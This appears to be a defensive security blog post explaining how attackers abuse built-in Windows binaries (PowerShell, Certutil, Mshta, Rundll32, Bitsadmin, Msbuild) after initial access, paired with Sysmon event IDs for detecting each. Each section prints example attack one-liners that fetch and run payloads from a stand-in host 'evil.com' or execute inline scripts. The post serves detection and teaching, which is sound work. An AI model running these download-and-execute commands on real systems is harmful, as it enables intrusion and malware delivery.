Once an attacker gets initial access (phishing, a vulnerability, stolen credentials, whatever), the clock starts. They need to move fast: maintain access, escalate privileges, blend in, and not get caught.
This is where Living Off The Land (LOTL) comes in. Instead of dropping malware and hoping the AV doesn’t catch it, attackers use tools that are already on the machine. Binaries that Windows ships with, signed by Microsoft, trusted by everything. No new files, no suspicious downloads, nothing that traditionally screams “malware.”
These are LOLBins (Living Off The Land Binaries). PowerShell, Certutil, Rundll32. Tools designed for admins that get turned against the very systems they were built to manage.
One thing worth noting: LOLBins aren’t how attackers get in. They show up after initial access, in the post-exploitation phase where the goal is persistence, lateral movement, and staying invisible.
PowerShell
PowerShell is the crown jewel of LOLBins. It was built to be powerful, and it shows. Direct access to Windows APIs, the .NET framework, network calls, in-memory execution. Everything an attacker needs, already on every Windows box.
The classic move is downloading and running a payload entirely in memory, never touching disk:
powershell.exe -nop -w hidden -EncodedCommand <base64_payload>
Or pulling a script straight from a remote server and executing it on the spot:
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')
Sysmon detection
EventID 1 is your first stop. Look for powershell.exe launched with flags like -EncodedCommand, IEX, -nop, or -windowstyle hidden, especially when the parent process is winword.exe or outlook.exe. That parent-child relationship is a big red flag.
EventID 3 will catch the outbound network connection if PowerShell reaches out to pull a payload.
EventID 4104 is the one you really want enabled. Script block logging captures the actual content of what ran, even if it was obfuscated. Critical for fileless attacks.
Certutil
Certutil manages certificates. That’s its job. Attackers use it as a downloader and base64 decoder because it’s signed, trusted, and rarely monitored.
Groups like Dridex, TA505, and APT29 have used it heavily. The most common use is just pulling a file from a remote server:
certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\Users\Public\payload.exe
Or decoding a base64-encoded payload that was dropped as a text file to avoid detection:
certutil.exe -decode encoded.txt payload.exe
Sysmon detection
EventID 1 certutil.exe with -urlcache -split -f or -decode in the command line is almost always suspicious. Legitimate certutil usage rarely looks like that.
EventID 3 outbound connection from certutil is a strong indicator for the remote download variant.
EventID 11 watch for file creation in %TEMP%, %APPDATA%, or C:\Users\Public\. Those are the usual drop zones.
Mshta
Mshta runs HTA files (HTML Applications) that can execute VBScript or JavaScript directly in the operating system context, completely bypassing browser sandboxing.
It showed up in Lumma Stealer campaigns where a .lnk file triggered Mshta to fetch a remote HTA, run it in memory, and silently steal credentials and browser cookies.
Pointing it at a remote file is trivial:
mshta.exe http://evil.com/payload.hta
Or running inline VBScript without even needing a file:
mshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""cmd /c whoami"":close")
Sysmon detection
EventID 1 mshta.exe with a URL or vbscript:Execute() in the arguments. Neither is normal behavior.
EventID 3 network connection from Mshta for the remote HTA fetch.
EventID 11 if the HTA drops follow-up payloads, they’ll usually appear in %TEMP%.
Rundll32
Rundll32 loads and executes functions from DLL files. It’s meant for legitimate DLL invocation, but attackers use it to load malicious DLLs or abuse legacy components like MSHTML to run JavaScript.
It’s been spotted in APT28/Fancy Bear espionage operations and BlackCat/ALPHV ransomware.
Loading a malicious DLL is straightforward:
rundll32.exe C:\Users\Public\evil.dll,EntryPoint
Or abusing MSHTML to run inline JavaScript without a file at all:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";eval("...")
Sysmon detection
EventID 1 Rundll32 with unusual DLL paths or odd parameters. Legitimate invocations are fairly predictable; anything that looks off probably is.
EventID 3 network connections from Rundll32 are highly abnormal. In most environments, this should basically never happen.
EventID 11 DLL drops or additional payloads created during execution.
Bitsadmin
Bitsadmin is deprecated but still present on most Windows machines. It was designed to manage background file transfers, the same mechanism Windows Update uses. Quiet, no visible window, minimal traces.
REvil/Sodinokibi used it for payload delivery, and it’s common in Initial Access Broker toolkits.
bitsadmin /transfer job /download /priority normal http://evil.com/payload.exe C:\Users\Public\payload.exe
Sysmon detection
EventID 1 bitsadmin.exe with /transfer, /download, or /upload flags. Legitimate use is handled by the BITS service, not direct bitsadmin calls.
EventID 3 outbound connection to attacker infrastructure.
EventID 11 payload landing in %TEMP% or C:\Users\Public\.
Msbuild
Msbuild is part of the .NET framework and is meant to compile project files. The trick here is that it can execute embedded C# code directly from an XML file, entirely in memory, no binary written to disk.
APT32 (OceanLotus) used this to great effect in targeted campaigns.
msbuild.exe malicious_project.xml
Where malicious_project.xml contains embedded C# shellcode that gets compiled and executed on the fly during the “build” process.
Sysmon detection
EventID 1 Msbuild launching .xml or .proj files from user-writable directories is a red flag. Legitimate builds don’t usually happen from %TEMP% or C:\Users\Public\.
EventID 3 network connections from the embedded code making callbacks.
EventID 11 any files dropped during execution.
The key takeaway
Seeing powershell.exe run is not an alert. It runs constantly on every Windows machine. The question is always the same: who launched it, with what arguments, from where, and what did it do next?
Without visibility into parent-child process relationships, command-line arguments, network connections, and file creation, these techniques are effectively invisible. Attackers don’t need malware when they can weaponize the tools that are already installed, already trusted, and already whitelisted in your environment.
If you want to go deeper, LOLBAS and GTFOBins are the references you want bookmarked.
Stay curious & keep learning.